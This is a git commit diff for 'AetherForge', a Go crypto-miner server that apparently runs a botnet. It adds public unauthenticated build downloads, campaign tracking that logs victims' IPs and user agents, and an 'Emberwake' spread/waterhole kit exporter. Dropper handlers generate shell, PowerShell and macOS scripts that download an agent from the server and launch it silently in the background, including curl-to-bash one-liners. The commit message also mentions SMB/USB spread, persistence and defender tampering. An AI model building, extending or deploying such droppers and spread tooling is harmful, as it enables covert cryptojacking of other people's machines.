feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -62,6 +62,10 @@ type ServerSettings struct {
// FleetSecret is a random token generated once on first run and baked into
// every forged agent binary. Agents must present it on connect or be rejected.
FleetSecret string `json:"fleet_secret"`
// PublicBuildsEnabled exposes all builds on unauthenticated /api/v1/public/* routes.
// When false (default), only pinned + public-flagged + latest PublicBuildsLatestN are listed.
PublicBuildsEnabled bool `json:"public_builds_enabled"`
PublicBuildsLatestN int `json:"public_builds_latest_n"`
}
// PoolEndpoint is a Stratum upstream used after the primary pool fails.
@@ -225,6 +229,7 @@ func DefaultConfig() *Config {
ObfuscateDefault: false,
SignEnabled: false,
SignTimestampURL: "http://timestamp.digicert.com",
PublicBuildsLatestN: 3,
},
}
}
@@ -556,6 +561,10 @@ func mergeConfig(dst, src *Config) {
if src.Server.FleetSecret != "" {
dst.Server.FleetSecret = src.Server.FleetSecret
}
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
if src.Server.PublicBuildsLatestN != 0 {
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
}
if src.TunnelDefaults.CloudflaredTargetURL != "" {
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
}
@@ -866,6 +875,12 @@ func mergeConfigExplicit(dst, src *Config, present map[string]json.RawMessage) {
if in(srvKeys, "fleet_secret") && src.Server.FleetSecret != "" {
dst.Server.FleetSecret = src.Server.FleetSecret
}
if in(srvKeys, "public_builds_enabled") {
dst.Server.PublicBuildsEnabled = src.Server.PublicBuildsEnabled
}
if in(srvKeys, "public_builds_latest_n") && src.Server.PublicBuildsLatestN != 0 {
dst.Server.PublicBuildsLatestN = src.Server.PublicBuildsLatestN
}
}
if has("tunnel_defaults") {

View File

@@ -17,6 +17,9 @@ import (
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
// GET /install.sh — bash one-liner installer (Linux / macOS)
// GET /install.ps1 — PowerShell one-liner installer (Windows)
// GET /install.command — macOS double-click launcher (curl | bash wrapper)
//
// Query params: ?os=windows|linux|darwin|universal ?pin={build_id} ?c={campaign}
type DropperHandler struct {
db *dbpkg.Database
dataDir string
@@ -63,24 +66,70 @@ func detectPlatform(r *http.Request) string {
return "" // caller will fall back to latest build regardless of platform
}
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
platform := detectPlatform(r)
func (h *DropperHandler) logCampaign(r *http.Request, buildID, source string) {
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignHit(c, buildID, source, clientIP(r), r.UserAgent())
}
}
// Try exact platform match, then fall back to universal, then any.
func dropperQueryParts(r *http.Request) []string {
q := r.URL.Query()
var parts []string
if pin := strings.TrimSpace(q.Get("pin")); pin != "" {
parts = append(parts, "pin="+pin)
}
if c := strings.TrimSpace(q.Get("c")); c != "" {
parts = append(parts, "c="+c)
}
return parts
}
func (h *DropperHandler) querySuffix(r *http.Request) string {
parts := dropperQueryParts(r)
if len(parts) == 0 {
return ""
}
return "?" + strings.Join(parts, "&")
}
func (h *DropperHandler) getExtraQuery(r *http.Request) string {
parts := dropperQueryParts(r)
if len(parts) == 0 {
return ""
}
return "&" + strings.Join(parts, "&")
}
// resolveDropperBuild picks a build from ?pin= or platform heuristics.
func (h *DropperHandler) resolveDropperBuild(r *http.Request) (*models.BuildRecord, string, string) {
if pin := strings.TrimSpace(r.URL.Query().Get("pin")); pin != "" {
b, err := h.db.GetBuild(pin)
if err == nil && b != nil {
path, name := resolveDropperArtifact(h.dataDir, b)
return b, path, name
}
}
platform := detectPlatform(r)
candidates := []string{platform, "universal", ""}
if platform == "" {
candidates = []string{"universal", ""}
}
var buildPath, buildName string
for _, p := range candidates {
b, err := h.db.GetLatestBuildForPlatform(p)
if err == nil && b != nil {
buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
break
path, name := resolveDropperArtifact(h.dataDir, b)
return b, path, name
}
}
return nil, "", ""
}
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
b, buildPath, buildName := h.resolveDropperBuild(r)
if b != nil {
h.logCampaign(r, b.ID, "get")
}
if buildPath == "" {
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.WriteHeader(http.StatusNotFound)
@@ -96,9 +145,18 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, buildPath)
}
func campaignEnvBlock(campaign string) string {
if campaign == "" {
return ""
}
return fmt.Sprintf("export AETHER_CAMPAIGN=%q\nexport AETHER_UTM=%q\n", campaign, campaign)
}
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.sh")
script := fmt.Sprintf(`#!/bin/sh
# AetherForge agent installer
@@ -109,6 +167,7 @@ set -e
die() { echo "[!] $*" >&2; exit 1; }
%s
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$ARCH" in
@@ -123,7 +182,7 @@ DEST="$TMPDIR/worker"
# Download and verify we got a real file, not a 404 page.
# Note: double-quotes around URL so $OS is expanded by the shell.
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS")"
HTTP_CODE="$(curl -sL -w "%%{http_code}" -o "$DEST" "%[1]s/get?os=$OS%[2]s")"
if [ "$HTTP_CODE" != "200" ]; then
cat "$DEST" >&2
die "Server returned HTTP $HTTP_CODE — forge an agent first from the dashboard."
@@ -152,7 +211,7 @@ chmod +x "$DEST"
echo "[*] Launching agent..."
nohup "$DEST" >/dev/null 2>&1 &
echo "[+] Agent started (pid $!) — it will install itself and connect back to the command deck."
`, base)
`, base, h.getExtraQuery(r), campaignEnvBlock(campaign))
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
@@ -162,16 +221,25 @@ echo "[+] Agent started (pid $!) — it will install itself and connect back to
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.ps1")
// Build script as a regular string — backtick in Go raw strings conflicts
// with PowerShell's escape character.
bt := "`"
nl := "\r\n"
campaignBlock := ""
if campaign != "" {
campaignBlock = "$env:AETHER_CAMPAIGN = '" + campaign + "'" + nl +
"$env:AETHER_UTM = '" + campaign + "'" + nl + nl
}
script := "# AetherForge dropper" + nl +
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
"$url = '" + base + "/get?os=windows'" + nl +
campaignBlock +
"$url = '" + base + "/get?os=windows" + h.getExtraQuery(r) + "'" + nl +
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
"try {" + nl +
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
@@ -199,6 +267,25 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
fmt.Fprint(w, script)
}
// ServeCommand handles GET /install.command — macOS double-clickable shell script.
func (h *DropperHandler) ServeCommand(w http.ResponseWriter, r *http.Request) {
base := h.resolveBase(r)
suffix := h.querySuffix(r)
campaign := strings.TrimSpace(r.URL.Query().Get("c"))
h.logCampaign(r, "", "install.command")
script := fmt.Sprintf(`#!/bin/bash
# AetherForge macOS launcher — double-click or: curl -sL '%[1]s/install.command' | bash
set -e
%[2]s
curl -sL '%[1]s/install.sh%[3]s' | bash
`, base, campaignEnvBlock(campaign), suffix)
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.command"`)
fmt.Fprint(w, script)
}
// resolveBase returns the public base URL for script generation, falling back
// to the request's Host header when no public URL is configured.
func (h *DropperHandler) resolveBase(r *http.Request) string {

View File

@@ -77,7 +77,7 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {

View File

@@ -0,0 +1,148 @@
package api
import (
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
// PublicBuildsConfig supplies public-download policy from server config.
type PublicBuildsConfig struct {
Enabled bool
LatestN int
}
// PublicHandler serves unauthenticated build listing and download endpoints.
type PublicHandler struct {
db *dbpkg.Database
dataDir string
configFn func() PublicBuildsConfig
}
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
}
type publicBuildDTO struct {
ID string `json:"id"`
WorkerName string `json:"worker_name"`
Platform string `json:"platform"`
FileName string `json:"file_name"`
FileSize int64 `json:"file_size"`
BundleSize int64 `json:"bundle_size"`
DownloadURL string `json:"download_url"`
CreatedAt string `json:"created_at"`
Pinned bool `json:"pinned"`
Public bool `json:"public"`
}
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
dl := b.DownloadURL
if dl == "" {
dl = "/api/v1/public/download/" + b.ID
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
// Rewrite authenticated artifact path to public when listed
if strings.Contains(dl, "/artifact/") {
parts := strings.Split(dl, "/artifact/")
if len(parts) == 2 {
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
}
} else {
dl = "/api/v1/public/download/" + b.ID
}
}
return publicBuildDTO{
ID: b.ID,
WorkerName: b.WorkerName,
Platform: b.Platform,
FileName: b.FileName,
FileSize: b.FileSize,
BundleSize: b.BundleSize,
DownloadURL: dl,
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
Pinned: b.Pinned,
Public: b.Public,
}
}
// GET /api/v1/public/builds
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
cfg := h.configFn()
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
dtos := make([]publicBuildDTO, 0, len(builds))
for _, b := range builds {
dtos = append(dtos, toPublicBuildDTO(b))
}
writeJSON(w, map[string]interface{}{
"builds": dtos,
"public_builds_enabled": cfg.Enabled,
"latest_n": cfg.LatestN,
})
}
// GET /api/v1/public/download/{id}
// GET /api/v1/public/download/{id}/artifact/{name}
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "build id required", http.StatusBadRequest)
return
}
cfg := h.configFn()
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
if err != nil || !ok {
http.Error(w, "build not available for public download", http.StatusNotFound)
return
}
if c := r.URL.Query().Get("c"); c != "" {
_ = h.db.LogCampaignHit(c, id, "public_download", clientIP(r), r.UserAgent())
}
build, err := h.db.GetBuild(id)
if err != nil {
http.Error(w, "build not found", http.StatusNotFound)
return
}
artifactName := chi.URLParam(r, "name")
if artifactName != "" {
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
if _, err := os.Stat(path); err != nil {
http.Error(w, "artifact not found", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
http.ServeFile(w, r, path)
return
}
path, name := resolveDropperArtifact(h.dataDir, build)
if path == "" {
http.Error(w, "artifact missing on disk", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
http.ServeFile(w, r, path)
}
func clientIP(r *http.Request) string {
ip := r.Header.Get("X-Forwarded-For")
if ip == "" {
ip = r.RemoteAddr
}
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
ip = ip[:idx]
}
return ip
}

View File

@@ -0,0 +1,90 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"testing"
"time"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"github.com/go-chi/chi/v5"
)
func TestPublicHandlerListAndDownload(t *testing.T) {
dataDir := t.TempDir()
database, err := db.New(dataDir)
if err != nil {
t.Fatal(err)
}
defer database.Close()
buildID := "pub-build-1"
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
artifact := filepath.Join(buildDir, "worker.exe")
if err := os.WriteFile(artifact, []byte("MZ-fake-exe-content-padded"), 0644); err != nil {
t.Fatal(err)
}
rec := &models.BuildRecord{
ID: buildID, WorkerName: "pub-worker", ServerURL: "http://x", Wallet: "w",
Threads: 1, FileSize: 32, FilePath: artifact, FileName: "worker.exe",
Platform: "windows", CreatedAt: time.Now(), Pinned: true,
}
if err := database.InsertBuild(rec); err != nil {
t.Fatal(err)
}
if err := database.SetPinnedBuild(buildID); err != nil {
t.Fatal(err)
}
h := NewPublicHandler(database, dataDir, func() PublicBuildsConfig {
return PublicBuildsConfig{Enabled: false, LatestN: 3}
})
listReq := httptest.NewRequest(http.MethodGet, "/api/v1/public/builds", nil)
listRec := httptest.NewRecorder()
h.ListBuilds(listRec, listReq)
if listRec.Code != http.StatusOK {
t.Fatalf("list status %d body %s", listRec.Code, listRec.Body.String())
}
var listBody struct {
Builds []publicBuildDTO `json:"builds"`
}
if err := json.Unmarshal(listRec.Body.Bytes(), &listBody); err != nil {
t.Fatal(err)
}
if len(listBody.Builds) == 0 {
t.Fatal("expected pinned build in public list")
}
r := chi.NewRouter()
r.Get("/public/download/{id}", h.Download)
dlReq := httptest.NewRequest(http.MethodGet, "/public/download/"+buildID+"?c=test-camp", nil)
dlRec := httptest.NewRecorder()
r.ServeHTTP(dlRec, dlReq)
if dlRec.Code != http.StatusOK {
t.Fatalf("download status %d", dlRec.Code)
}
hits, err := database.ListCampaignHits(10)
if err != nil {
t.Fatal(err)
}
found := false
for _, hit := range hits {
if hit.Campaign == "test-camp" {
found = true
}
}
if !found {
t.Fatal("expected campaign hit logged for public download")
}
}

View File

@@ -413,7 +413,8 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// NOTE: build download/artifact routes are intentionally NOT in this list —
// they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" {
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
strings.HasPrefix(path, "/api/v1/public/") {
next.ServeHTTP(w, r)
return
}
@@ -490,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
@@ -578,6 +579,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builds
r.Get("/builds", h.ListBuilds)
r.Put("/builds/{id}/pin", h.PinBuild)
if spreadHandler != nil {
r.Put("/builds/{id}/public", spreadHandler.SetBuildPublic)
}
r.Delete("/builds/pin", h.UnpinAll)
r.Delete("/builds/{id}", h.DeleteBuild)
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
@@ -591,6 +595,12 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
r.Post("/builder/estimate", builderHandler.ServeEstimate)
if spreadHandler != nil {
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
r.Get("/emberwake/notes", spreadHandler.GetNotes)
r.Put("/emberwake/notes", spreadHandler.PutNotes)
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
}
// Path Forge: walk a local server path, place launchers next to every file
if pathForgeHandler != nil {
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
@@ -683,6 +693,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
// Public builds (also bypass auth in middleware — listed here for chi routing)
if publicHandler != nil {
r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download)
r.Get("/public/download/{id}/artifact/{name}", publicHandler.Download)
}
})
// WebSocket
@@ -694,6 +711,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh)
r.Get("/install.ps1", dropperHandler.ServePs1)
r.Get("/install.command", dropperHandler.ServeCommand)
}
// SUPP Seek agent download endpoints — serve agent binaries so launcher scripts

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, "", dataDir, nil, 8989)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil, 8989)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -0,0 +1,219 @@
package api
import (
"archive/zip"
"bytes"
"encoding/json"
"io"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
"time"
dbpkg "crypto-miner-server/internal/db"
"github.com/go-chi/chi/v5"
)
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
type SpreadHandler struct {
db *dbpkg.Database
dataDir string
projectRoot string
wsHub *WSHub
notesMu sync.RWMutex
}
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
return &SpreadHandler{db: database, dataDir: dataDir, projectRoot: projectRoot, wsHub: wsHub}
}
func (h *SpreadHandler) notesPath() string {
return filepath.Join(h.dataDir, "emberwake-notes.json")
}
type emberwakeNotes struct {
Content string `json:"content"`
UpdatedAt string `json:"updated_at"`
UpdatedBy string `json:"updated_by"`
}
func (h *SpreadHandler) readNotes() emberwakeNotes {
h.notesMu.RLock()
defer h.notesMu.RUnlock()
data, err := os.ReadFile(h.notesPath())
if err != nil {
return emberwakeNotes{Content: "", UpdatedAt: "", UpdatedBy: ""}
}
var n emberwakeNotes
if json.Unmarshal(data, &n) != nil {
return emberwakeNotes{}
}
return n
}
func (h *SpreadHandler) writeNotes(n emberwakeNotes) error {
h.notesMu.Lock()
defer h.notesMu.Unlock()
data, err := json.MarshalIndent(n, "", " ")
if err != nil {
return err
}
return os.WriteFile(h.notesPath(), data, 0644)
}
// GET /api/v1/emberwake/notes
func (h *SpreadHandler) GetNotes(w http.ResponseWriter, r *http.Request) {
writeJSON(w, h.readNotes())
}
// PUT /api/v1/emberwake/notes
func (h *SpreadHandler) PutNotes(w http.ResponseWriter, r *http.Request) {
var body struct {
Content string `json:"content"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
n := emberwakeNotes{
Content: body.Content,
UpdatedAt: time.Now().UTC().Format(time.RFC3339),
UpdatedBy: AuthUsername(r),
}
if err := h.writeNotes(n); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if h.wsHub != nil {
h.wsHub.BroadcastEmberwakeNotes(n)
}
writeJSON(w, n)
}
// GET /api/v1/emberwake/campaigns
func (h *SpreadHandler) GetCampaigns(w http.ResponseWriter, r *http.Request) {
hits, err := h.db.ListCampaignHits(50)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if hits == nil {
hits = []dbpkg.CampaignHitSummary{}
}
writeJSON(w, map[string]interface{}{"campaigns": hits})
}
type spreadKitExportRequest struct {
BuildID string `json:"build_id"`
ServerURL string `json:"server_url"`
Campaign string `json:"campaign"`
}
// POST /api/v1/builder/spread-kit-export
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
var req spreadKitExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.BuildID = strings.TrimSpace(req.BuildID)
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.Campaign = strings.TrimSpace(req.Campaign)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "spread-kit-web-publisher")
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "spread-kit-web-publisher templates not found", http.StatusNotFound)
return
}
var qparts []string
if req.BuildID != "" {
qparts = append(qparts, "pin="+req.BuildID)
}
if req.Campaign != "" {
qparts = append(qparts, "c="+req.Campaign)
}
querySuffix := ""
getQuerySuffix := ""
if len(qparts) > 0 {
joined := strings.Join(qparts, "&")
querySuffix = "?" + joined
getQuerySuffix = "&" + joined
}
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{CAMPAIGN_QUERY}}": querySuffix,
"{{PIN_QUERY}}": "",
}
var buf bytes.Buffer
zw := zip.NewWriter(&buf)
err := filepath.Walk(templateDir, func(path string, info os.FileInfo, err error) error {
if err != nil || info.IsDir() {
return err
}
rel, err := filepath.Rel(templateDir, path)
if err != nil {
return err
}
rel = filepath.ToSlash(rel)
data, err := os.ReadFile(path)
if err != nil {
return err
}
content := string(data)
for k, v := range repl {
content = strings.ReplaceAll(content, k, v)
}
w, err := zw.Create(rel)
if err != nil {
return err
}
_, err = io.WriteString(w, content)
return err
})
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
if err := zw.Close(); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
filename := "emberwake-spread-kit.zip"
if req.Campaign != "" {
filename = "emberwake-" + req.Campaign + ".zip"
}
w.Header().Set("Content-Type", "application/zip")
w.Header().Set("Content-Disposition", `attachment; filename="`+filename+`"`)
w.Write(buf.Bytes())
}
// PUT /api/v1/builds/{id}/public
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
var body struct {
Public bool `json:"public"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
if err := h.db.SetBuildPublic(id, body.Public); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "id": id, "public": body.Public})
}

View File

@@ -27,6 +27,15 @@ func secureStringEqual(a, b string) bool {
return subtle.ConstantTimeCompare([]byte(a), []byte(b)) == 1
}
func coalesceStr(vals ...string) string {
for _, v := range vals {
if strings.TrimSpace(v) != "" {
return strings.TrimSpace(v)
}
}
return ""
}
// checkDashboardWSToken validates dashboard WS upgrade credentials.
// Preferred: ?ticket= from POST /api/v1/auth/ws-ticket (short-lived, one-time).
// Legacy: ?token= btoa("user:pass") with auth-session cache parity (API-D10).
@@ -566,6 +575,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
MacAddress string `json:"mac_address,omitempty"`
BuildID string `json:"build_id"`
USBSpread bool `json:"usb_spread"`
Campaign string `json:"campaign"`
UTM string `json:"utm"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -712,6 +723,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
BuildID: auth.BuildID,
WorkerName: workerName,
USBSpread: auth.USBSpread,
Campaign: coalesceStr(auth.Campaign, auth.UTM),
Capabilities: &caps,
}
@@ -1405,3 +1417,11 @@ func (h *WSHub) BroadcastServerLog(line string) {
Payload: mustMarshal(map[string]string{"line": line}),
})
}
// BroadcastEmberwakeNotes pushes shared Emberwake notes to all dashboard clients.
func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
h.broadcastDashboard(Message{
Type: "emberwake_notes_updated",
Payload: mustMarshal(notes),
})
}

View File

@@ -43,7 +43,7 @@ func (d *Database) scanAgent(row interface {
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
&notes, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion, &a.Hostname, &a.MacAddress,
&a.BuildID, &a.WorkerName, &usbSpread,
&a.BuildID, &a.WorkerName, &usbSpread, &a.Campaign,
&a.GPUHashrate15m, &a.GPUModel, &gpuMinerActive,
)
if err != nil {
@@ -62,7 +62,7 @@ func (d *Database) scanAgent(row interface {
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version, hostname, mac_address,
build_id, worker_name, usb_spread, gpu_hashrate_15m, gpu_model, gpu_miner_active`
build_id, worker_name, usb_spread, campaign, gpu_hashrate_15m, gpu_model, gpu_miner_active`
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)

View File

@@ -0,0 +1,175 @@
package db
import (
"fmt"
"strings"
"time"
"crypto-miner-server/internal/models"
)
// LogCampaignHit records a dropper or public-download fetch with optional campaign tag.
func (d *Database) LogCampaignHit(campaign, buildID, source, ip, userAgent string) error {
campaign = sanitizeCampaign(campaign)
if campaign == "" {
return nil
}
_, err := d.Exec(
`INSERT INTO campaign_hits (campaign, build_id, source, ip, user_agent, created_at) VALUES (?, ?, ?, ?, ?, ?)`,
campaign, buildID, source, ip, userAgent, time.Now(),
)
return err
}
func sanitizeCampaign(c string) string {
c = strings.TrimSpace(c)
if len(c) > 64 {
c = c[:64]
}
// Allow alphanumeric, dash, underscore, dot
var b strings.Builder
for _, r := range c {
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
b.WriteRune(r)
}
}
return b.String()
}
// CampaignHitSummary aggregates hits per campaign for the Emberwake dashboard.
type CampaignHitSummary struct {
Campaign string `json:"campaign"`
Count int `json:"count"`
LastHit string `json:"last_hit"`
}
func (d *Database) ListCampaignHits(limit int) ([]CampaignHitSummary, error) {
if limit <= 0 || limit > 500 {
limit = 100
}
